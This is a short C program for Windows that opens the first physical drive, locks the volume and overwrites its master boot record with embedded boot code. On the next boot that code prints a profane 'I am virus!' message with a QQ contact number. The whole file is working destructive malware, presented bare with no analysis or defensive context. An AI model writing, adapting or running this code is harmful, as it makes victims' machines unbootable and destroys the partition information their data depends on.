#include <windows.h>
#include <winioctl.h>

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x28\x00\xb8\x01\x13\xbb\x8c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"
"\x20\x20\x51\x51\x3a\x32\x31\x31\x39\x33\x36\x36\x36\x38\x37";

int WINAPI WinMain(
  HINSTANCE hInstance,  // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,      // pointer to command line
  int nCmdShow          // show state of window
)
{
	HANDLE	hDevice;
	DWORD	dwBytesWritten, dwBytesReturned;
	BYTE	pMBR[512] = {0};
	

	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;

	hDevice = CreateFile
		(
		"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
		);
	if (hDevice == INVALID_HANDLE_VALUE)
 		return -1;
	DeviceIoControl
		(
		hDevice, 
		FSCTL_LOCK_VOLUME, 
		NULL, 
		0, 
		NULL, 
		0, 
		&dwBytesReturned, 
		NULL
		);

	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
		(
		hDevice, 
		FSCTL_UNLOCK_VOLUME, 
		NULL, 
		0, 
		NULL, 
		0, 
		&dwBytesReturned, 
		NULL
		);
	CloseHandle(hDevice);
	return 0;
}

